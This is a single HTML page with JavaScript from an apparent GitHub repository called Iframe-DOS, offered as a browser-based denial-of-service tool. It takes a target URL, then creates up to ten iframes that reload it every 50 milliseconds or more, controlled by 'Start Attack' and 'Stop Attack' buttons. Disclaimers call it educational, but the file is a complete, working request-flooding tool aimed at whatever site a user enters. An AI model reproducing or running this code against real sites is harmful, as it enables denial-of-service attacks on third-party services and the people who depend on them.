Iframe-DOS/index.html at master · alty-ir/Iframe-DOS · GitHub

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<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>iframe-DOS Tool</title>
  <meta name="description" content="A browser-based tool to simulate a DoS attack by refreshing a target URL in multiple iframes. For educational use only.">
  <link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🖼️</text></svg>">
  <style>
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      background: #f2f2f2;
      padding: 2rem;
    }

    h1 {
      color: #444;
    }

    .input-group {
      margin: 1rem 0;
    }

    input[type="text"],
    input[type="number"] {
      padding: 0.5rem;
      width: 250px;
      margin: 0.5rem;
      border-radius: 4px;
      border: 1px solid #ccc;
    }

    input[type="button"] {
      padding: 0.6rem 1.2rem;
      background-color: #3498db;
      color: white;
      border: none;
      border-radius: 4px;
      cursor: pointer;
    }

    input[type="button"]:hover {
      background-color: #2980b9;
    }

    #iframeContainer {
      display: flex;
      justify-content: center;
      gap: 1rem;
      margin-top: 2rem;
      flex-wrap: wrap;
    }

    iframe {
      border: 3px solid #ccc;
      border-radius: 6px;
      transition: border-color 0.3s ease;
    }

    .active-frame {
      border-color: #e74c3c;
    }

    #log {
      margin-top: 1rem;
      font-size: 0.9rem;
      color: #555;
      white-space: pre-line;
    }
  </style>
</head>
<body>
  <h1>iframe-DOS Tool</h1>
  <p>For testing and educational purposes only.</p>

  <form class="input-group" onsubmit="return false;">
    <label for="url">Target URL:</label>
    <input type="text" id="url" placeholder="Target URL (e.g., http://example.com)" aria-label="Target URL">
    <label for="time">Refresh interval (min 50ms):</label>
    <input type="number" id="time" value="125" min="50" placeholder="Refresh interval (min 50ms)" aria-label="Refresh interval">
    <label for="frames">Number of iframes:</label>
    <input type="number" id="frames" value="3" min="1" max="10" placeholder="Number of iframes" aria-label="Number of iframes">
    <input type="button" id="toggleBtn" value="Start Attack">
  </form>

  <div id="iframeContainer"></div>
  <div id="log"></div>

  <script>
    let isRunning = false;
    let intervalId;
    let countdownIds = [];
    let activeIndex = 0;

    function logMessage(message) {
      const log = document.getElementById("log");
      log.textContent = `[${new Date().toLocaleTimeString()}] ${message}`;
    }

    function clearFrames() {
      clearInterval(intervalId);
      countdownIds.forEach(id => clearInterval(id));
      countdownIds = [];
      document.getElementById("iframeContainer").innerHTML = "";
    }

    function isValidUrl(url) {
      try {
        new URL(url);
        return true;
      } catch {
        return false;
      }
    }

    function run() {
      const url = document.getElementById("url").value.trim();
      const interval = parseInt(document.getElementById("time").value, 10);
      const frameCount = parseInt(document.getElementById("frames").value, 10);

      if (!isValidUrl(url) || isNaN(interval) || interval < 50) {
        alert("Please enter a valid URL (http/https) and minimum refresh time of 50ms.");
        return;
      }
      if (frameCount < 1 || frameCount > 10) {
        alert("Iframe count must be between 1 and 10.");
        return;
      }

      clearFrames();
      const container = document.getElementById("iframeContainer");

      for (let i = 0; i < frameCount; i++) {
        const iframe = document.createElement("iframe");
        iframe.width = "300";
        iframe.height = "250";
        iframe.sandbox = "allow-scripts allow-same-origin";
        iframe.id = `frame-${i}`;
        iframe.setAttribute('referrerpolicy', 'no-referrer');
        iframe.setAttribute('loading', 'lazy');
        iframe.setAttribute('title', `Target iframe ${i+1}`);
        container.appendChild(iframe);
      }

      // Setup visual refresh loop
      intervalId = setInterval(() => {
        const iframes = document.querySelectorAll("iframe");
        iframes.forEach((frame, index) => {
          frame.src = url;
          frame.classList.remove("active-frame");
        });
        iframes[activeIndex % iframes.length].classList.add("active-frame");
        activeIndex++;
        logMessage(`${url} refreshed on all ${iframes.length} iframes.`);
      }, interval);

      // Setup countdown
      const iframes = document.querySelectorAll("iframe");
      iframes.forEach((frame, i) => {
        let counter = interval / 1000;
        const id = setInterval(() => {
          counter -= 0.1;
          frame.title = `Refreshing in ${counter.toFixed(1)}s`;
          if (counter <= 0) counter = interval / 1000;
        }, 100);
        countdownIds.push(id);
      });
    }

    document.getElementById("toggleBtn").onclick = function () {
      if (!isRunning) {
        run();
        this.value = "Stop Attack";
        isRunning = true;
      } else {
        clearFrames();
        logMessage("Attack stopped.");
        this.value = "Start Attack";
        isRunning = false;
      }
    };
  </script>
  <footer style="margin-top:2rem;font-size:0.85rem;color:#888;">
    <strong>Security note:</strong> Iframes use sandboxing and do not bypass CORS or X-Frame-Options. For legal, educational use only.
  </footer>
</body>
</html>